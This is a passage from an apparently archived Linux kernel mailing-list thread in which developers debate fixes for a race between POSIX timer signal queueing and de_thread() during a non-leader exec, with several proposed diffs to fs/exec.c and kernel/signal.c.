SIGEV_THREAD_ID signals up to > > > + * the point where it's sighand gets cleared. > > > + */ > > > + scoped_guard(spinlock_irq, lock) > > > + flush_sigqueue(&leader->pending); > > scoped_guard(spinlock_irq) is not right. This needs scoped_guard(spinlock), > the code runs with irqs disabled. > > > Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's > > (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any > > changes, no? > > IOW. Unless I am totally confused, we only need to flush the > SIGQUEUE_PREALLOC sigqueue's which were sent to the (old) leader > before it changed its pid. So we can do this > > diff --git a/fs/exec.c b/fs/exec.c > index a14f28b15607..550367e7fe6c 100644 > --- a/fs/exec.c > +++ b/fs/exec.c > @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk) > write_unlock_irq(&tasklist_lock); > cgroup_threadgroup_change_end(tsk); > > + scoped_guard(spinlock_irq, lock) > + flush_sigqueue(&leader->pending); > + Is there something to prevent the timer from firing on another CPU, racing with this tiny window and queue the signal to the old leader? After all exchange_tids() is just some RCU pointers changed but there is nothing to synchronize the readers before the flush_sigqueue(). So pid_task() may still return the old leader after it? > release_task(leader); Thanks. -- Frederic Weisbecker SUSE Labs ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 13:59 ` Frederic Weisbecker @ 2026-08-24 14:29 ` Oleg Nesterov 2026-08-25 16:58 ` Thomas Gleixner 1 sibling, 0 replies; 16+ messages in thread From: Oleg Nesterov @ 2026-08-24 14:29 UTC (permalink / raw) To: Frederic Weisbecker Cc: Thomas Gleixner, Hyunwoo Kim, brauner, peterz, anna-maria, ebiederm, linux-kernel On 08/24, Frederic Weisbecker wrote: > > Le Mon, Aug 24, 2026 at 01:54:26PM +0200, Oleg Nesterov a écrit : > > > > diff --git a/fs/exec.c b/fs/exec.c > > index a14f28b15607..550367e7fe6c 100644 > > --- a/fs/exec.c > > +++ b/fs/exec.c > > @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk) > > write_unlock_irq(&tasklist_lock); > > cgroup_threadgroup_change_end(tsk); > > > > + scoped_guard(spinlock_irq, lock) > > + flush_sigqueue(&leader->pending); > > + > > Is there something to prevent the timer from firing on another CPU, > racing with this tiny window and queue the signal to the old leader? After > all exchange_tids() is just some RCU pointers changed but there is nothing > to synchronize the readers before the flush_sigqueue(). So pid_task() may > still return the old leader after it? Ah yes... posixtimer_get_target() is obviously called before lock_task_sighand(), so it can be called even before exchange_tids()... Thanks! Oleg. ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 13:59 ` Frederic Weisbecker 2026-08-24 14:29 ` Oleg Nesterov @ 2026-08-25 16:58 ` Thomas Gleixner 2026-08-25 18:53 ` Oleg Nesterov 1 sibling, 1 reply; 16+ messages in thread From: Thomas Gleixner @ 2026-08-25 16:58 UTC (permalink / raw) To: Frederic Weisbecker, Oleg Nesterov Cc: Hyunwoo Kim, brauner, peterz, anna-maria, ebiederm, linux-kernel On Mon, Aug 24 2026 at 15:59, Frederic Weisbecker wrote: > Le Mon, Aug 24, 2026 at 01:54:26PM +0200, Oleg Nesterov a écrit : >> > Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's >> > (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any >> > changes, no? >> >> IOW. Unless I am totally confused, we only need to flush the >> SIGQUEUE_PREALLOC sigqueue's which were sent to the (old) leader >> before it changed its pid. So we can do this >> >> diff --git a/fs/exec.c b/fs/exec.c >> index a14f28b15607..550367e7fe6c 100644 >> --- a/fs/exec.c >> +++ b/fs/exec.c >> @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk) >> write_unlock_irq(&tasklist_lock); >> cgroup_threadgroup_change_end(tsk); >> >> + scoped_guard(spinlock_irq, lock) >> + flush_sigqueue(&leader->pending); >> + > > Is there something to prevent the timer from firing on another CPU, > racing with this tiny window and queue the signal to the old leader? After > all exchange_tids() is just some RCU pointers changed but there is nothing > to synchronize the readers before the flush_sigqueue(). So pid_task() may > still return the old leader after it? You beat me to it. That's what I initialy thought when I added that exiting check into posixtimer_send_queue(), but then the trivial variant lured me away. :) Let me go and polish up that initial variant and write a change log. Thanks, tglx ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-25 16:58 ` Thomas Gleixner @ 2026-08-25 18:53 ` Oleg Nesterov 2026-08-25 19:58 ` Thomas Gleixner 0 siblings, 1 reply; 16+ messages in thread From: Oleg Nesterov @ 2026-08-25 18:53 UTC (permalink / raw) To: Thomas Gleixner Cc: Frederic Weisbecker, Hyunwoo Kim, brauner, peterz, anna-maria, ebiederm, linux-kernel On 08/25, Thomas Gleixner wrote: > > On Mon, Aug 24 2026 at 15:59, Frederic Weisbecker wrote: > > Le Mon, Aug 24, 2026 at 01:54:26PM +0200, Oleg Nesterov a écrit : > >> > Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's > >> > (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any > >> > changes, no? > >> > >> IOW. Unless I am totally confused, we only need to flush the > >> SIGQUEUE_PREALLOC sigqueue's which were sent to the (old) leader > >> before it changed its pid. So we can do this > >> > >> diff --git a/fs/exec.c b/fs/exec.c > >> index a14f28b15607..550367e7fe6c 100644 > >> --- a/fs/exec.c > >> +++ b/fs/exec.c > >> @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk) > >> write_unlock_irq(&tasklist_lock); > >> cgroup_threadgroup_change_end(tsk); > >> > >> + scoped_guard(spinlock_irq, lock) > >> + flush_sigqueue(&leader->pending); > >> + > > > > Is there something to prevent the timer from firing on another CPU, > > racing with this tiny window and queue the signal to the old leader? After > > all exchange_tids() is just some RCU pointers changed but there is nothing > > to synchronize the readers before the flush_sigqueue(). So pid_task() may > > still return the old leader after it? > > You beat me to it. > > That's what I initialy thought when I added that exiting check into > posixtimer_send_queue(), but then the trivial variant lured me away. :) I'm afraid I am wrong again... but if change posixtimer_send_sigqueue() to check !PF_EXITING, de_thread() still can do flush_sigqueue() after exchange_tids() outside of tasklist_lock? And I'd suggest to check t->exit_state instead of PF_EXITING, posixtimer_send_sigqueue() can't miss it if it is called after scoped_guard(spinlock_irq, lock). Oleg. ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-25 18:53 ` Oleg Nesterov @ 2026-08-25 19:58 ` Thomas Gleixner 0 siblings, 0 replies; 16+ messages in thread From: Thomas Gleixner @ 2026-08-25 19:58 UTC (permalink / raw) To: Oleg Nesterov Cc: Frederic Weisbecker, Hyunwoo Kim, brauner, peterz, anna-maria, ebiederm, linux-kernel On Tue, Aug 25 2026 at 20:53, Oleg Nesterov wrote: > On 08/25, Thomas Gleixner wrote: >> > Is there something to prevent the timer from firing on another CPU, >> > racing with this tiny window and queue the signal to the old leader? After >> > all exchange_tids() is just some RCU pointers changed but there is nothing >> > to synchronize the readers before the flush_sigqueue(). So pid_task() may >> > still return the old leader after it? >> >> You beat me to it. >> >> That's what I initialy thought when I added that exiting check into >> posixtimer_send_queue(), but then the trivial variant lured me away. :) > > I'm afraid I am wrong again... but if change posixtimer_send_sigqueue() > to check !PF_EXITING, de_thread() still can do flush_sigqueue() after > exchange_tids() outside of tasklist_lock? > > And I'd suggest to check t->exit_state instead of PF_EXITING, > posixtimer_send_sigqueue() can't miss it if it is called after > scoped_guard(spinlock_irq, lock). It neither can miss PF_EXITING which is also set under sighand lock. But I think we all looked at it way too narrowly focussed on that specific non-leader exec() scenario. Let's take a step back and look at the larger picture. Once begin_new_exec() sets bprm->point_of_no_return = true there is _ZERO_ reason to queue any posix timer signal anymore. Any failure after that point will be fatal and shut the whole process down. So why worrying about the non-leader exec() oddity? begin_new_exex() { ... bprm->point_of_no_return = true; scoped_guard(spinlock_irq, &me->sighand->siglock) me->signal->flags |= SIGNAL_EXEC; de_thread(me) ... // FIXME: This sequence should be cleaned up with a // posix_timer_exec() function with a proper stub // for CONFIG_POSIX_TIMERS=n. #ifdef CONFIG_POSIX_TIMERS spin_lock_irq(&me->sighand->siglock); posix_cpu_timers_exit(me); spin_unlock_irq(&me->sighand->siglock); exit_itimers(me); flush_itimer_signals(); #endif ... scoped_guard(spinlock_irq, &me->sighand->siglock) me->signal->flags &= ~SIGNAL_EXEC; // SUCCESS return 0; and in posixtimer_send_sigqueue() if (!likely(lock_task_sighand(t, &flags))) return; if (unlikely(t->signal->flags & (SIGNAL_EXEC))) goto unlock; and as we need that check anyway we can just make it: if (unlikely(t->signal->flags & (SIGNAL_EXEC | SIGNAL_GROUP_EXIT))) goto unlock; because there is no point either to queue posix timer signals when SIGNAL_GROUP_EXIT is set, right? Something like the untested below. At least I'm sure that I got the scoped_guard() types right this time. FWIW, I briefly pondered to hide the first part in de_thread(), but that just made my tired brain fail to reason about it. Thanks, tglx --- --- a/fs/exec.c +++ b/fs/exec.c @@ -1148,6 +1148,9 @@ int begin_new_exec(struct linux_binprm * */ bprm->point_of_no_return = true; + scoped_guard(spinlock_irq, &me->sighand->siglock) + me->signal->flags |= SIGNAL_EXEC; + /* Make this the only thread in the thread group */ retval = de_thread(me); if (retval) @@ -1324,6 +1327,10 @@ int begin_new_exec(struct linux_binprm * } bprm->execfd = retval; } + + scoped_guard(spinlock_irq, &me->sighand->siglock) + me->signal->flags &= ~SIGNAL_EXEC; + return 0; out_unlock: --- a/include/linux/sched/signal.h +++ b/include/linux/sched/signal.h @@ -261,6 +261,8 @@ struct signal_struct { #define SIGNAL_STOP_STOPPED 0x00000001 /* job control stop in effect */ #define SIGNAL_STOP_CONTINUED 0x00000002 /* SIGCONT since WCONTINUED reap */ #define SIGNAL_GROUP_EXIT 0x00000004 /* group exit in progress */ +#define SIGNAL_EXEC 0x00000008 /* exec in progress */ + /* * Pending notifications to parent. */ --- a/kernel/signal.c +++ b/kernel/signal.c @@ -1991,6 +1991,20 @@ void posixtimer_send_sigqueue(struct k_i return; /* + * If the process is in the middle of exec(), don't queue signals as the + * posix timers of this process are not longer accessible and about to + * be removed. This prevents a race between queueing the signal on a + * exiting former thread group leader in case of an non-leader exec. + * Aside of that it makes no sense to queue anything now when it has to + * be flushed a split second later anyway. + * + * As this conditional is required just use the opportunity and check + * for a group exit too, where queueing signals is equally pointless. + */ + if (unlikely(t->signal->flags & (SIGNAL_EXEC | SIGNAL_GROUP_EXIT))) + goto unlock; + + /* * Update @tmr::sigqueue_seq for posix timer signals with sighand * locked to prevent a race against dequeue_signal(). */ @@ -2081,6 +2095,7 @@ void posixtimer_send_sigqueue(struct k_i result = TRACE_SIGNAL_DELIVERED; out: trace_signal_generate(sig, &q->info, t, tmr->it_pid_type != PIDTYPE_PID, result); +unlock: unlock_task_sighand(t, &flags); } ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 11:02 ` Oleg Nesterov 2026-08-24 11:54 ` Oleg Nesterov @ 2026-08-24 12:11 ` Thomas Gleixner 1 sibling, 0 replies; 16+ messages in thread From: Thomas Gleixner @ 2026-08-24 12:11 UTC (permalink / raw) To: Oleg Nesterov Cc: Hyunwoo Kim, frederic, brauner, peterz, anna-maria, ebiederm, linux-kernel On Mon, Aug 24 2026 at 13:02, Oleg Nesterov wrote: > On 08/24, Thomas Gleixner wrote: >> >> --- a/fs/exec.c >> +++ b/fs/exec.c >> @@ -983,6 +983,18 @@ static int de_thread(struct task_struct >> } >> >> /* >> + * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for >> + * the former leader are removed under sighand::siglock _before_ >> + * taking over the leader's TID. Otherwise the lockless cleanup >> + * in release_task() can race against a concurrent signal >> + * delivery to the new leader. The former leader has PF_EXITING >> + * set which prevents queueing of SIGEV_THREAD_ID signals up to >> + * the point where it's sighand gets cleared. >> + */ >> + scoped_guard(spinlock_irq, lock) >> + flush_sigqueue(&leader->pending); > > Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's > (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any > changes, no? That should work nicely. ^ permalink raw reply [flat|nested] 16+ messages in thread
* Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() 2026-08-24 9:45 ` Thomas Gleixner 2026-08-24 11:02 ` Oleg Nesterov @ 2026-08-24 16:31 ` Frederic Weisbecker 1 sibling, 0 replies; 16+ messages in thread From: Frederic Weisbecker @ 2026-08-24 16:31 UTC (permalink / raw) To: Thomas Gleixner Cc: Hyunwoo Kim, oleg, brauner, peterz, anna-maria, ebiederm, linux-kernel Le Mon, Aug 24, 2026 at 11:45:10AM +0200, Thomas Gleixner a écrit : > On Mon, Aug 24 2026 at 10:04, Thomas Gleixner wrote: > > > On Sat, Aug 22 2026 at 14:37, Hyunwoo Kim wrote: > >> diff --git a/kernel/signal.c b/kernel/signal.c > >> index bbc0fd4cc4d7c1..ec9a0a0490d19f 100644 > >> --- a/kernel/signal.c > >> +++ b/kernel/signal.c > >> @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue) > >> sigemptyset(&queue->signal); > >> while (!list_empty(&queue->list)) { > >> q = list_entry(queue->list.next, struct sigqueue , list); > >> - list_del_init(&q->list); > >> + /* > >> + * Pairs with the list_empty() in posixtimer_send_sigqueue(). > > > > No. That list_empty() would need to be changed to list_empty_careful() > > to be correct on weakly ordered architectures. > > > > Aside of that I'm not convinced that this is the right way to handle > > this as it cures the symptom and not the underlying problem. Let me > > stare at this some more. > > Something like the untested below. > > Thanks, > > tglx > --- > --- a/fs/exec.c > +++ b/fs/exec.c > @@ -983,6 +983,18 @@ static int de_thread(struct task_struct > } > > /* > + * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for > + * the former leader are removed under sighand::siglock _before_ > + * taking over the leader's TID. Otherwise the lockless cleanup > + * in release_task() can race against a concurrent signal > + * delivery to the new leader. The former leader has PF_EXITING > + * set which prevents queueing of SIGEV_THREAD_ID signals up to > + * the point where it's sighand gets cleared. > + */ > + scoped_guard(spinlock_irq, lock) > + flush_sigqueue(&leader->pending); > + > + /* > * The only record we have of the real-time age of a > * process, regardless of execs it's done, is start_time. > * All the past CPU time is accumulated in signal_struct > --- a/kernel/signal.c > +++ b/kernel/signal.c > @@ -1998,6 +1998,13 @@ void posixtimer_send_sigqueue(struct k_i > return; > > /* > + * If the signal is targeted at a specific thread, validate with sighand > + * lock held that the thread is not exiting. > + */ > + if (unlikely(tmr->it_pid_type == PIDTYPE_PID && t->flags & PF_EXITING)) > + goto unlock; > + > + /* > * Update @tmr::sigqueue_seq for posix timer signals with sighand > * locked to prevent a race against dequeue_signal(). > */ > @@ -2088,6 +2095,7 @@ void posixtimer_send_sigqueue(struct k_i > result = TRACE_SIGNAL_DELIVERED; > out: > trace_signal_generate(sig, &q->info, t, tmr->it_pid_type != PIDTYPE_PID, result); > +unlock: > unlock_task_sighand(t, &flags); > } > This one looks good, FWIW. Thanks. -- Frederic Weisbecker SUSE Labs ^ permalink raw reply [flat|nested] 16+ messages in thread
end of thread, other threads:[~2026-08-25 19:58 UTC | newest] Thread overview: 16+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-08-22 5:37 [PATCH] signal: Use list_del_init_careful() in flush_sigqueue() Hyunwoo Kim 2026-08-22 10:27 ` Bradley Morgan 2026-08-23 12:47 ` Oleg Nesterov 2026-08-24 2:53 ` Hyunwoo Kim 2026-08-24 8:28 ` Oleg Nesterov 2026-08-24 8:04 ` Thomas Gleixner 2026-08-24 9:45 ` Thomas Gleixner 2026-08-24 11:02 ` Oleg Nesterov 2026-08-24 11:54 ` Oleg Nesterov 2026-08-24 13:59 ` Frederic Weisbecker 2026-08-24 14:29 ` Oleg Nesterov 2026-08-25 16:58 ` Thomas Gleixner 2026-08-25 18:53 ` Oleg Nesterov 2026-08-25 19:58 ` Thomas Gleixner 2026-08-24 12:11 ` Thomas Gleixner 2026-08-24 16:31 ` Frederic Weisbecker
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox